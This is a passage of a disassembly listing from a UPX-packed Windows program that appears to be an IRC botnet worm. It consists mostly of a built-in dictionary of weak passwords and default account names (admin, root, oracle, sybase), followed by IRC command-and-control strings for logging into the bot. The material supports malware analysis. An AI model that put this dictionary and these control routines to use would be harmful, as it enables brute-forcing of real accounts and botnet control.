XREF: UPX0:0042ED60o align 4 aCayuga db 'cayuga',0 ; DATA XREF: UPX0:0042ED5Co align 4 aCave db 'cave',0 ; DATA XREF: UPX0:0042ED58o align 4 aCathy db 'cathy',0 ; DATA XREF: UPX0:0042ED54o align 4 aCatholic db 'catholic',0 ; DATA XREF: UPX0:0042ED50o align 10h aCatherin db 'catherin',0 ; DATA XREF: UPX0:0042ED4Co align 4 aCastle db 'castle',0 ; DATA XREF: UPX0:0042ED48o align 4 aCash db 'cash',0 ; DATA XREF: UPX0:0042ED44o align 4 aCascades db 'cascades',0 ; DATA XREF: UPX0:0042ED40o align 4 aCarson db 'carson',0 ; DATA XREF: UPX0:0042ED3Co align 10h aCarrie db 'carrie',0 ; DATA XREF: UPX0:0042ED38o align 4 aCaroline db 'caroline',0 ; DATA XREF: UPX0:0042ED34o align 4 aCarolina db 'carolina',0 ; DATA XREF: UPX0:0042ED30o align 10h aCarole db 'carole',0 ; DATA XREF: UPX0:0042ED2Co align 4 aCarol db 'carol',0 ; DATA XREF: UPX0:0042ED28o align 10h aCarmen db 'carmen',0 ; DATA XREF: UPX0:0042ED24o align 4 aCarla db 'carla',0 ; DATA XREF: UPX0:0042ED20o align 10h aCaren db 'caren',0 ; DATA XREF: UPX0:0042ED1Co align 4 aCardinal db 'cardinal',0 ; DATA XREF: UPX0:0042ED18o align 4 aCard db 'card',0 ; DATA XREF: UPX0:0042ED14o align 4 aCapture db 'capture',0 ; DATA XREF: UPX0:0042ED10o aCaptain db 'captain',0 ; DATA XREF: UPX0:0042ED0Co aCantor db 'cantor',0 ; DATA XREF: UPX0:0042ED08o align 4 aCandy db 'candy',0 ; DATA XREF: UPX0:0042ED04o align 4 aCandi db 'candi',0 ; DATA XREF: UPX0:0042ED00o align 4 aCamping db 'camping',0 ; DATA XREF: UPX0:0042ECFCo aCampanil db 'campanil',0 ; DATA XREF: UPX0:0042ECF8o align 4 aCamille db 'camille',0 ; DATA XREF: UPX0:0042ECF4o aCaliforn db 'californ',0 ; DATA XREF: UPX0:0042ECF0o align 4 aButthead db 'butthead',0 ; DATA XREF: UPX0:0042ECECo align 4 aButt db 'butt',0 ; DATA XREF: UPX0:0042ECE8o align 10h aButch db 'butch',0 ; DATA XREF: UPX0:0042ECE4o align 4 aBurn db 'burn',0 ; DATA XREF: UPX0:0042ECE0o align 10h aBurgess db 'burgess',0 ; DATA XREF: UPX0:0042ECDCo aBung db 'bung',0 ; DATA XREF: UPX0:0042ECD8o align 10h aBumbling db 'bumbling',0 ; DATA XREF: UPX0:0042ECD4o align 4 aBullshit db 'bullshit',0 ; DATA XREF: UPX0:0042ECD0o align 4 aBulls db 'bulls',0 ; DATA XREF: UPX0:0042ECCCo align 10h aBrutefor db 'brutefor',0 ; DATA XREF: UPX0:0042ECC8o align 4 aBrute db 'brute',0 ; DATA XREF: UPX0:0042ECC4o align 4 aBrunette db 'brunette',0 ; DATA XREF: UPX0:0042ECC0o align 10h aBrothel db 'brothel',0 ; DATA XREF: UPX0:0042ECBCo aBroadway db 'broadway',0 ; DATA XREF: UPX0:0042ECB8o align 4 aBridget db 'bridget',0 ; DATA XREF: UPX0:0042ECB4o aBrian db 'brian',0 ; DATA XREF: UPX0:0042ECB0o align 4 aBrenda db 'brenda',0 ; DATA XREF: UPX0:0042ECACo align 4 aBreast db 'breast',0 ; DATA XREF: UPX0:0042ECA8o align 4 aBreak db 'break',0 ; DATA XREF: UPX0:0042ECA4o align 4 aBravo db 'bravo',0 ; DATA XREF: UPX0:0042ECA0o align 4 aBrandy db 'brandy',0 ; DATA XREF: UPX0:0042EC9Co align 4 aBrandi db 'brandi',0 ; DATA XREF: UPX0:0042EC98o align 4 aBradley db 'bradley',0 ; DATA XREF: UPX0:0042EC94o aBoyscout db 'boyscout',0 ; DATA XREF: UPX0:0042EC90o align 4 aBorn db 'born',0 ; DATA XREF: UPX0:0042EC8Co align 10h aBook db 'book',0 ; DATA XREF: UPX0:0042EC88o align 4 aBoobs db 'boobs',0 ; DATA XREF: UPX0:0042EC84o align 10h aBoob db 'boob',0 ; DATA XREF: UPX0:0042EC80o align 4 aBoner db 'boner',0 ; DATA XREF: UPX0:0042EC7Co align 10h aBomb db 'bomb',0 ; DATA XREF: UPX0:0042EC78o align 4 aBoard db 'board',0 ; DATA XREF: UPX0:0042EC74o align 10h aBlues db 'blues',0 ; DATA XREF: UPX0:0042EC70o align 4 aBlue db 'blue',0 ; DATA XREF: UPX0:0042EC6Co align 10h aBlowjob db 'blowjob',0 ; DATA XREF: UPX0:0042EC68o aBlow db 'blow',0 ; DATA XREF: UPX0:0042EC64o align 10h aBloodaxe db 'bloodaxe',0 ; DATA XREF: UPX0:0042EC60o align 4 aBlood db 'blood',0 ; DATA XREF: UPX0:0042EC5Co align 4 aBlondie db 'blondie',0 ; DATA XREF: UPX0:0042EC58o aBlonde db 'blonde',0 ; DATA XREF: UPX0:0042EC54o align 4 aBlack db 'black',0 ; DATA XREF: UPX0:0042EC50o align 4 aBitnet db 'bitnet',0 ; DATA XREF: UPX0:0042EC4Co align 4 aBitmap db 'bitmap',0 ; DATA XREF: UPX0:0042EC48o align 4 aBitch db 'bitch',0 ; DATA XREF: UPX0:0042EC44o align 4 aBishop db 'bishop',0 ; DATA XREF: UPX0:0042EC40o align 4 aBird db 'bird',0 ; DATA XREF: UPX0:0042EC3Co align 4 aBios db 'bios',0 ; DATA XREF: UPX0:0042EC38o align 4 aBinary db 'binary',0 ; DATA XREF: UPX0:0042EC34o align 4 aBill db 'bill',0 ; DATA XREF: UPX0:0042EC30o align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: UPX0:0042EC2Co aBicamera db 'bicamera',0 ; DATA XREF: UPX0:0042EC28o align 10h aBible db 'bible',0 ; DATA XREF: UPX0:0042EC24o align 4 aBeverly db 'beverly',0 ; DATA XREF: UPX0:0042EC20o aBetty db 'betty',0 ; DATA XREF: UPX0:0042EC1Co align 4 aBetsie db 'betsie',0 ; DATA XREF: UPX0:0042EC18o align 10h aBeth db 'beth',0 ; DATA XREF: UPX0:0042EC14o align 4 aBeta db 'beta',0 ; DATA XREF: UPX0:0042EC10o align 10h aBeryl db 'beryl',0 ; DATA XREF: UPX0:0042EC0Co align 4 aBerliner db 'berliner',0 ; DATA XREF: UPX0:0042EC08o align 4 aBerlin db 'berlin',0 ; DATA XREF: UPX0:0042EC04o align 4 aBerkeley db 'berkeley',0 ; DATA XREF: UPX0:0042EC00o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: UPX0:0042EBFCo aBenz db 'benz',0 ; DATA XREF: UPX0:0042EBF8o align 4 aBeloved db 'beloved',0 ; DATA XREF: UPX0:0042EBF4o aBell db 'bell',0 ; DATA XREF: UPX0:0042EBF0o align 4 aBehead db 'behead',0 ; DATA XREF: UPX0:0042EBECo align 10h aBegin db 'begin',0 ; DATA XREF: UPX0:0042EBE8o align 4 aBeethove db 'beethove',0 ; DATA XREF: UPX0:0042EBE4o align 4 aBecky db 'becky',0 ; DATA XREF: UPX0:0042EBE0o align 4 aBeaver db 'beaver',0 ; DATA XREF: UPX0:0042EBDCo align 4 aBeauty db 'beauty',0 ; DATA XREF: UPX0:0042EBD8o align 4 aBeater db 'beater',0 ; DATA XREF: UPX0:0042EBD4o align 4 aBeast db 'beast',0 ; DATA XREF: UPX0:0042EBD0o align 4 aBear db 'bear',0 ; DATA XREF: UPX0:0042EBCCo align 4 aBeammeup db 'beammeup',0 ; DATA XREF: UPX0:0042EBC8o align 10h aBeach db 'beach',0 ; DATA XREF: UPX0:0042EBC4o align 4 aBatman db 'batman',0 ; DATA XREF: UPX0:0042EBC0o align 10h aBatch db 'batch',0 ; DATA XREF: UPX0:0042EBBCo align 4 aBassoon db 'bassoon',0 ; DATA XREF: UPX0:0042EBB8o aBass db 'bass',0 ; DATA XREF: UPX0:0042EBB4o align 4 aBasic db 'basic',0 ; DATA XREF: UPX0:0042EBB0o align 10h aBaseball db 'baseball',0 ; DATA XREF: UPX0:0042EBACo align 4 aBartman db 'bartman',0 ; DATA XREF: UPX0:0042EBA8o aBart db 'bart',0 ; DATA XREF: UPX0:0042EBA4o align 4 aBaritone db 'baritone',0 ; DATA XREF: UPX0:0042EBA0o align 4 aBarf db 'barf',0 ; DATA XREF: UPX0:0042EB9Co align 10h aBare db 'bare',0 ; DATA XREF: UPX0:0042EB98o align 4 aBarber db 'barber',0 ; DATA XREF: UPX0:0042EB94o align 10h aBarbara db 'barbara',0 ; DATA XREF: UPX0:0042EB90o aBanks db 'banks',0 ; DATA XREF: UPX0:0042EB8Co align 10h aBank db 'bank',0 ; DATA XREF: UPX0:0042EB88o align 4 aBandit db 'bandit',0 ; DATA XREF: UPX0:0042EB84o align 10h aBananas db 'bananas',0 ; DATA XREF: UPX0:0042EB80o aBanana db 'banana',0 ; DATA XREF: UPX0:0042EB7Co align 10h aBall db 'ball',0 ; DATA XREF: UPX0:0042EB78o align 4 aBailey db 'bailey',0 ; DATA XREF: UPX0:0042EB74o align 10h aBadass db 'badass',0 ; DATA XREF: UPX0:0042EB70o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: UPX0:0042EB6Co align 4 aBacchus db 'bacchus',0 ; DATA XREF: UPX0:0042EB68o aBaby db 'baby',0 ; DATA XREF: UPX0:0042EB64o align 4 aBabe db 'babe',0 ; DATA XREF: UPX0:0042EB60o align 4 aAzure db 'azure',0 ; DATA XREF: UPX0:0042EB5Co align 4 aAztecs db 'aztecs',0 ; DATA XREF: UPX0:0042EB58o align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: UPX0:0042EB54o align 4 aAttack db 'attack',0 ; DATA XREF: UPX0:0042EB50o align 10h aAtom db 'atom',0 ; DATA XREF: UPX0:0042EB4Co align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: UPX0:0042EB48o align 4 aAthena db 'athena',0 ; DATA XREF: UPX0:0042EB44o align 4 aAsshole db 'asshole',0 ; DATA XREF: UPX0:0042EB40o aAsian db 'asian',0 ; DATA XREF: UPX0:0042EB3Co align 4 aArtist db 'artist',0 ; DATA XREF: UPX0:0042EB38o align 4 aArthur db 'arthur',0 ; DATA XREF: UPX0:0042EB34o align 4 aArrow db 'arrow',0 ; DATA XREF: UPX0:0042EB30o align 4 aArmy db 'army',0 ; DATA XREF: UPX0:0042EB2Co align 4 aArlene db 'arlene',0 ; DATA XREF: UPX0:0042EB28o align 4 aAriadne db 'ariadne',0 ; DATA XREF: UPX0:0042EB24o aAria db 'aria',0 ; DATA XREF: UPX0:0042EB20o align 4 aApril db 'april',0 ; DATA XREF: UPX0:0042EB1Co align 4 aApollo13 db 'apollo13',0 ; DATA XREF: UPX0:0042EB18o align 4 aAnything db 'anything',0 ; DATA XREF: UPX0:0042EB14o align 4 aAnvils db 'anvils',0 ; DATA XREF: UPX0:0042EB10o align 4 aAnthropo db 'anthropo',0 ; DATA XREF: UPX0:0042EB0Co align 4 aAnthrax db 'anthrax',0 ; DATA XREF: UPX0:0042EB08o aAnswer db 'answer',0 ; DATA XREF: UPX0:0042EB04o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: UPX0:0042EB00o align 4 aAnon db 'anon',0 ; DATA XREF: UPX0:0042EAFCo align 4 aAnnette db 'annette',0 ; DATA XREF: UPX0:0042EAF8o aAnne db 'anne',0 ; DATA XREF: UPX0:0042EAF4o align 4 aAnna db 'anna',0 ; DATA XREF: UPX0:0042EAF0o align 4 aAnita db 'anita',0 ; DATA XREF: UPX0:0042EAECo align 4 aAnimals db 'animals',0 ; DATA XREF: UPX0:0042EAE8o aAnimal db 'animal',0 ; DATA XREF: UPX0:0042EAE4o align 4 aAngie db 'angie',0 ; DATA XREF: UPX0:0042EAE0o align 4 aAngerine db 'angerine',0 ; DATA XREF: UPX0:0042EADCo align 10h aAngela db 'angela',0 ; DATA XREF: UPX0:0042EAD8o align 4 aAnfo db 'anfo',0 ; DATA XREF: UPX0:0042EAD4o align 10h aAndy db 'andy',0 ; DATA XREF: UPX0:0042EAD0o align 4 aAndromac db 'andromac',0 ; DATA XREF: UPX0:0042EACCo align 4 aAndroid db 'android',0 ; DATA XREF: UPX0:0042EAC8o aAndrea db 'andrea',0 ; DATA XREF: UPX0:0042EAC4o align 4 aAnchor db 'anchor',0 ; DATA XREF: UPX0:0042EAC0o align 4 aAnarchy db 'anarchy',0 ; DATA XREF: UPX0:0042EABCo aAnarchis db 'anarchis',0 ; DATA XREF: UPX0:0042EAB8o align 10h aAnalog db 'analog',0 ; DATA XREF: UPX0:0042EAB4o align 4 aAnal db 'anal',0 ; DATA XREF: UPX0:0042EAB0o align 10h aAmorphou db 'amorphou',0 ; DATA XREF: UPX0:0042EAACo align 4 aAmerica db 'america',0 ; DATA XREF: UPX0:0042EAA8o aAmber db 'amber',0 ; DATA XREF: UPX0:0042EAA4o align 4 aAmanda db 'amanda',0 ; DATA XREF: UPX0:0042EAA0o align 4 aAmadeus db 'amadeus',0 ; DATA XREF: UPX0:0042EA9Co aAlphabet db 'alphabet',0 ; DATA XREF: UPX0:0042EA98o align 4 aAllow db 'allow',0 ; DATA XREF: UPX0:0042EA94o align 10h aAllison db 'allison',0 ; DATA XREF: UPX0:0042EA90o aAlison db 'alison',0 ; DATA XREF: UPX0:0042EA8Co align 10h aAlisa db 'alisa',0 ; DATA XREF: UPX0:0042EA88o align 4 aAlicia db 'alicia',0 ; DATA XREF: UPX0:0042EA84o align 10h aAlice db 'alice',0 ; DATA XREF: UPX0:0042EA80o align 4 aAliases db 'aliases',0 ; DATA XREF: UPX0:0042EA7Co aAlias db 'alias',0 ; DATA XREF: UPX0:0042EA78o align 4 aAlgebra db 'algebra',0 ; DATA XREF: UPX0:0042EA74o aAlexande db 'alexande',0 ; DATA XREF: UPX0:0042EA70o align 4 aAlex db 'alex',0 ; DATA XREF: UPX0:0042EA6Co align 4 aAlert db 'alert',0 ; DATA XREF: UPX0:0042EA68o align 4 aAlbert db 'albert',0 ; DATA XREF: UPX0:0042EA64o align 4 aAlbatros db 'albatros',0 ; DATA XREF: UPX0:0042EA60o align 10h aAlbany db 'albany',0 ; DATA XREF: UPX0:0042EA5Co align 4 aAlaska db 'alaska',0 ; DATA XREF: UPX0:0042EA58o align 10h aAirplane db 'airplane',0 ; DATA XREF: UPX0:0042EA54o align 4 aAids db 'aids',0 ; DATA XREF: UPX0:0042EA50o align 4 aAerobics db 'aerobics',0 ; DATA XREF: UPX0:0042EA4Co align 10h aAdult db 'adult',0 ; DATA XREF: UPX0:0042EA48o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: UPX0:0042EA44o align 4 aAdrian db 'adrian',0 ; DATA XREF: UPX0:0042EA40o align 4 aAdam db 'adam',0 ; DATA XREF: UPX0:0042EA3Co align 4 aAction db 'action',0 ; DATA XREF: UPX0:0042EA38o align 4 aAccount db 'account',0 ; DATA XREF: UPX0:0042EA34o aAcademic db 'academic',0 align 10h aAcademia db 'academia',0 align 4 a000000 db '000000',0 align 4 a00000 db '00000',0 align 4 a0000 db '0000',0 align 4 a000 db '000',0 ; DATA XREF: UPX0:0042EA18o aTesting db 'testing',0 ; DATA XREF: UPX0:0042EA14o aDeath db 'death',0 ; DATA XREF: UPX0:0042EA10o align 4 a00 db '00',0 ; DATA XREF: UPX0:0042EA0Co align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: UPX0:0042EA04o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: UPX0:0042EA00o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: UPX0:0042E9FCo aXxxxxx db 'xxxxxx',0 ; DATA XREF: UPX0:0042E9F8o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: UPX0:0042E9F4o align 4 aXxxx db 'xxxx',0 ; DATA XREF: UPX0:0042E9F0o align 4 aXxx db 'xxx',0 ; DATA XREF: UPX0:0042E9ECo aXx db 'xx',0 ; DATA XREF: UPX0:0042E9E8o align 4 asc_433C1C: ; DATA XREF: UPX0:0042E9E4o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: UPX0:0042E9E0o aYouwontguessme db 'youwontguessme',0 ; DATA XREF: UPX0:0042E9DCo align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: UPX0:0042E9D8o align 4 aMirc_0 db 'mirc',0 ; DATA XREF: UPX0:0042E9D4o align 10h aKiddie db 'kiddie',0 ; DATA XREF: UPX0:0042E9D0o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: UPX0:0042E9CCo align 4 aScript db 'script',0 ; DATA XREF: UPX0:0042E9C8o align 10h aHax0r db 'hax0r',0 ; DATA XREF: UPX0:0042E9C4o align 4 aHacker db 'hacker',0 ; DATA XREF: UPX0:0042E9C0o align 10h aL337 db 'l337',0 ; DATA XREF: UPX0:0042E9BCo align 4 aL33t db 'l33t',0 ; DATA XREF: UPX0:0042E9B8o align 10h aLeet db 'leet',0 ; DATA XREF: UPX0:0042E9B4o align 4 aKiller db 'killer',0 ; DATA XREF: UPX0:0042E9B0o align 10h a0wn3d db '0wn3d',0 ; DATA XREF: UPX0:0042E9ACo align 4 aW00t db 'w00t',0 ; DATA XREF: UPX0:0042E9A8o align 10h aHeaven db 'heaven',0 ; DATA XREF: UPX0:0042E9A4o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: UPX0:0042E9A0o align 4 aSatanic db 'satanic',0 ; DATA XREF: UPX0:0042E99Co aSatanik db 'satanik',0 ; DATA XREF: UPX0:0042E998o aSatan db 'satan',0 ; DATA XREF: UPX0:0042E994o align 4 aGobo db 'gobo',0 ; DATA XREF: UPX0:0042E990o align 4 aMatthew db 'Matthew',0 ; DATA XREF: UPX0:0042E98Co aMatt db 'Matt',0 ; DATA XREF: UPX0:0042E988o align 4 aMat db 'Mat',0 ; DATA XREF: UPX0:0042E984o aPw db 'pw',0 ; DATA XREF: UPX0:0042E980o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: UPX0:0042E97Co align 4 aMypass db 'mypass',0 ; DATA XREF: UPX0:0042E978o align 10h aPw123 db 'pw123',0 ; DATA XREF: UPX0:0042E974o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: UPX0:0042E970o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: UPX0:0042E96Co aMypc db 'mypc',0 ; DATA XREF: UPX0:0042E968o align 4 aLove db 'love',0 ; DATA XREF: UPX0:0042E964o align 4 aPwd db 'pwd',0 ; DATA XREF: UPX0:0042E960o aLogin db 'login',0 ; DATA XREF: UPX0:0042E95Co align 4 aHome db 'home',0 ; DATA XREF: UPX0:0042E958o align 10h aZxcv db 'zxcv',0 ; DATA XREF: UPX0:0042E954o align 4 aYxcv db 'yxcv',0 ; DATA XREF: UPX0:0042E950o align 10h aQwer db 'qwer',0 ; DATA XREF: UPX0:0042E94Co align 4 aSecret db 'secret',0 ; DATA XREF: UPX0:0042E948o align 10h aAsdf db 'asdf',0 ; DATA XREF: UPX0:0042E944o align 4 aPc db 'pc',0 ; DATA XREF: UPX0:0042E940o align 4 aWin db 'win',0 ; DATA XREF: UPX0:0042E93Co aTest123 db 'test123',0 ; DATA XREF: UPX0:0042E938o aAbc db 'abc',0 ; DATA XREF: UPX0:0042E934o aAaa db 'aaa',0 ; DATA XREF: UPX0:0042E930o aA_1: ; DATA XREF: UPX0:0042E92Co unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: UPX0:0042E928o align 4 aFucked db 'fucked',0 ; DATA XREF: UPX0:0042E924o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: UPX0:0042E920o aIrule db 'irule',0 ; DATA XREF: UPX0:0042E91Co align 4 aOwned db 'owned',0 ; DATA XREF: UPX0:0042E918o align 4 a0wned db '0wned',0 ; DATA XREF: UPX0:0042E914o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: UPX0:0042E910o align 10h aNetdevil db 'netdevil',0 ; DATA XREF: UPX0:0042E90Co align 4 aDevil db 'devil',0 ; DATA XREF: UPX0:0042E908o align 4 aNilez db 'Nilez',0 ; DATA XREF: UPX0:0042E904o align 4 aFoobar db 'foobar',0 ; DATA XREF: UPX0:0042E900o align 4 aGod db 'god',0 ; DATA XREF: UPX0:0042E8FCo aSex db 'sex',0 ; DATA XREF: UPX0:0042E8F8o aPat db 'pat',0 ; DATA XREF: UPX0:0042E8F4o aPatrick db 'patrick',0 ; DATA XREF: UPX0:0042E8F0o aAlpha db 'alpha',0 ; DATA XREF: UPX0:0042E8ECo align 10h a007 db '007',0 ; DATA XREF: UPX0:0042E8E8o a123abc db '123abc',0 ; DATA XREF: UPX0:0042E8E4o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: UPX0:0042E8E0o align 4 a123123 db '123123',0 ; DATA XREF: UPX0:0042E8DCo align 10h a121212 db '121212',0 ; DATA XREF: UPX0:0042E8D8o align 4 a111111 db '111111',0 ; DATA XREF: UPX0:0042E8D4o align 10h a110 db '110',0 ; DATA XREF: UPX0:0042E8D0o a2600 db '2600',0 ; DATA XREF: UPX0:0042E8CCo align 4 a2002 db '2002',0 ; DATA XREF: UPX0:0042E8C4o align 4 aXp_0 db 'xp',0 ; DATA XREF: UPX0:0042E8C0o align 4 aEnable db 'enable',0 ; DATA XREF: UPX0:0042E8BCo align 10h aGodblessyou db 'godblessyou',0 ; DATA XREF: UPX0:0042E8B8o aIhavenopass db 'ihavenopass',0 ; DATA XREF: UPX0:0042E8B4o a123asd db '123asd',0 ; DATA XREF: UPX0:0042E8B0o align 10h aSuper db 'super',0 ; DATA XREF: UPX0:0042E8ACo align 4 aInternet db 'Internet',0 ; DATA XREF: UPX0:0042E8A8o align 4 a123qwe db '123qwe',0 ; DATA XREF: UPX0:0042E8A0o align 4 aSybase db 'sybase',0 ; DATA XREF: UPX0:0042E89Co align 4 aAbc123 db 'abc123',0 ; DATA XREF: UPX0:0042E894o align 4 aAbcd db 'abcd',0 ; DATA XREF: UPX0:0042E890o align 4 aPasswd db 'passwd',0 ; DATA XREF: UPX0:0042E888o align 4 aPass_0 db 'pass',0 ; DATA XREF: UPX0:0042E884o align 4 a88888888 db '88888888',0 ; DATA XREF: UPX0:0042E880o align 10h a11111111 db '11111111',0 ; DATA XREF: UPX0:0042E87Co align 4 a111 db '111',0 ; DATA XREF: UPX0:0042E878o a54321 db '54321',0 ; DATA XREF: UPX0:0042E874o align 4 a654321 db '654321',0 ; DATA XREF: UPX0:0042E870o align 10h a123456789 db '123456789',0 ; DATA XREF: UPX0:0042E86Co align 4 a12345678 db '12345678',0 ; DATA XREF: UPX0:0042E868o align 4 a1234567 db '1234567',0 ; DATA XREF: UPX0:0042E864o a123456 db '123456',0 ; DATA XREF: UPX0:0042E860o align 4 a12345 db '12345',0 ; DATA XREF: UPX0:0042E85Co align 10h a1234 db '1234',0 ; DATA XREF: UPX0:0042E858o align 4 a123 db '123',0 ; DATA XREF: UPX0:0042E854o a12 db '12',0 ; DATA XREF: UPX0:0042E850o align 10h a1: ; DATA XREF: UPX0:0042E84Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: UPX0:0042E848o aChangeme_0 db 'Changeme',0 ; DATA XREF: UPX0:0042E844o align 4 aChangeme db 'changeme',0 ; DATA XREF: UPX0:0042E840o align 4 aLinux db 'linux',0 ; DATA XREF: UPX0:0042E83Co align 4 aUnix db 'unix',0 ; DATA XREF: UPX0:0042E838o align 4 aLocal db 'LOCAL',0 ; DATA XREF: UPX0:0042E834o align 4 aPepsi db 'pepsi',0 ; DATA XREF: UPX0:0042E830o align 4 aServer_2 db 'SERVER',0 ; DATA XREF: UPX0:0042E82Co align 4 aSystem_1 db 'SYSTEM',0 ; DATA XREF: UPX0:0042E828o align 4 aBackup db 'BACKUP',0 ; DATA XREF: UPX0:0042E824o align 4 aAccess db 'ACCESS',0 ; DATA XREF: UPX0:0042E81Co align 4 aTest db 'TEST',0 ; DATA XREF: UPX0:0042E818o align 4 aEdu db 'edu',0 ; DATA XREF: UPX0:0042E814o aOwner_1 db 'Owner',0 ; DATA XREF: UPX0:0042E810o align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: UPX0:0042E80Co align 10h aDemo db 'DEMO',0 ; DATA XREF: UPX0:0042E808o align 4 aFiles db 'FILES',0 ; DATA XREF: UPX0:0042E804o align 10h aRead db 'READ',0 ; DATA XREF: UPX0:0042E800o align 4 aBoth db 'BOTH',0 ; DATA XREF: UPX0:0042E7FCo align 10h aLadeda db 'ladeda',0 ; DATA XREF: UPX0:0042E7F8o align 4 aFull_0 db 'FULL',0 ; DATA XREF: UPX0:0042E7F4o align 10h aWrite db 'WRITE',0 ; DATA XREF: UPX0:0042E7F0o align 4 aShare_0 db 'SHARE',0 ; DATA XREF: UPX0:0042E7ECo align 10h aTemp db 'TEMP',0 ; DATA XREF: UPX0:0042E7E8o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: UPX0:0042E7E4o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: UPX0:0042E7E0o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: UPX0:0042E7D8o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: UPX0:0042E7D4o align 4 aBla db 'bla',0 ; DATA XREF: UPX0:0042E7D0o aFubar db 'fubar',0 ; DATA XREF: UPX0:0042E7CCo align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: UPX0:0042E7C0o align 4 aDb2 db 'db2',0 ; DATA XREF: UPX0:0042E7B0o aOracle db 'oracle',0 ; DATA XREF: UPX0:0042E7ACo ; UPX0:0042E898o align 4 aDba db 'dba',0 ; DATA XREF: UPX0:0042E7A8o aDatabase db 'database',0 ; DATA XREF: UPX0:0042E7A4o ; UPX0:0042E88Co align 4 aDefault db 'default',0 ; DATA XREF: UPX0:0042E7A0o ; UPX0:0042EF2Co aGuest_0 db 'guest',0 ; DATA XREF: UPX0:0042E79Co align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: UPX0:0042E798o align 10h aTeacher db 'teacher',0 ; DATA XREF: UPX0:0042E794o ; UPX0:0042FEC0o aStudent db 'student',0 ; DATA XREF: UPX0:0042E790o ; UPX0:0042FE08o aOwner db 'owner',0 ; DATA XREF: UPX0:0042E78Co align 4 aComputer db 'computer',0 ; DATA XREF: UPX0:0042E788o ; UPX0:0042E8A4o align 4 aRoot db 'root',0 ; DATA XREF: UPX0:0042E784o ; UPX0:0042E7DCo align 4 aStaff db 'staff',0 ; DATA XREF: UPX0:0042E780o align 4 aAdmin db 'admin',0 ; DATA XREF: UPX0:0042E77Co align 4 aAdmins db 'admins',0 ; DATA XREF: UPX0:0042E778o align 4 aAdministrat db 'administrat',0 ; DATA XREF: UPX0:0042E774o aAdministrateur db 'administrateur',0 ; DATA XREF: UPX0:0042E770o align 10h aAdministrador db 'administrador',0 ; DATA XREF: UPX0:0042E76Co align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: UPX0:0042E768o ; UPX0:0042E7C8o align 10h aH4ckerTool_0 db 'h4cker tool',0 ; DATA XREF: UPX0:off_42E6B8o aAsa@ db 'asa@*',0 ; DATA XREF: UPX0:off_42E6B4o align 4 ; char dword_434104 dword_434104 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E68B+34Fo dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h ; char aSDS[] aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40E68B+27Do align 4 ; char dword_434138[] dword_434138 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EB71+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 ; char aNickSUserS00S[] aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECD9+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h ; char aPassS[] aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECD9+35o align 4 ; char aModeSS[] aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+628Fo align 4 ; char aUserhostS[] aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+627Ao align 4 dword_4341AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+626Do dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_4341DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+6250o dd 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 4 dword_43420C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+61F2o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 ; char dword_434248 dword_434248 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+6182o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 ; char aNoticeSYouVeBe[] aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+6173o ; sub_40EE51+61E3o align 4 ; char aNoticeSNiceTry[] aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+615Fo ; sub_40EE51+61CFo align 10h ; char asc_4342D0[] asc_4342D0: ; DATA XREF: sub_40EE51+612Fo unicode 0, <~>,0 ; char dword_4342D4[] dword_4342D4 